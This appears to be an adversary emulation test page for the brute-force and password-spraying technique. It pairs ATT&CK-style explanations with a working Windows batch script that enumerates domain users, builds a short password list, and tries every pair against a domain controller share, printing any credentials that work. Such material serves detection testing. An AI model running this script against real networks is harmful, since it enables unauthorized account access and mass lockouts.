Adversaries may use brute force techniques to attempt access to accounts when passwords are unknown or when password hashes are obtained.Credential Dumping to obtain password hashes may only get an adversary so far when Pass the Hash is not an option. Techniques to systematically guess the passwords used to compute hashes are available, or the adversary may use a pre-computed rainbow table. Cracking hashes is usually done on adversary-controlled systems outside of the target network. (Citation: Wikipedia Password cracking)
Adversaries may attempt to brute force logins without knowledge of passwords or hashes during an operation either with zero knowledge or by attempting a list of known or possible passwords. This is a riskier option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies. (Citation: Cylance Cleaver)
A related technique called password spraying uses one password, or a small list of passwords, that matches the complexity policy of the domain and may be a commonly used password. Logins are attempted with that password and many different accounts on a network to avoid account lockouts that would normally occur when brute forcing a single account with many passwords. (Citation: BlackHillsInfosec Password Spraying)
Creates username and password files then attempts to brute force on remote host
Supported Platforms: Windows
Name | Description | Type | Default Value |
---|---|---|---|
input_file_users | Path to a file containing a list of users that we will attempt to brute force | Path | DomainUsers.txt |
input_file_passwords | Path to a file containing a list of passwords we will attempt to brute force with | Path | passwords.txt |
remote_host | Hostname of the target system we will brute force upon | String | \COMPANYDC1\IPC$ |
domain | Domain name of the target system we will brute force upon | String | YOUR_COMPANY |
net user /domain > #{input_file_users}
echo "Password1" >> #{input_file_passwords}
echo "1q2w3e4r" >> #{input_file_passwords}
echo "Password!" >> #{input_file_passwords}
@FOR /F %n in (#{input_file_users}) DO @FOR /F %p in (#{input_file_passwords}) DO @net use #{remote_host} /user:#{domain}\%n %p 1>NUL 2>&1 && @echo [*] %n:%p && @net use /delete #{remote_host} > NUL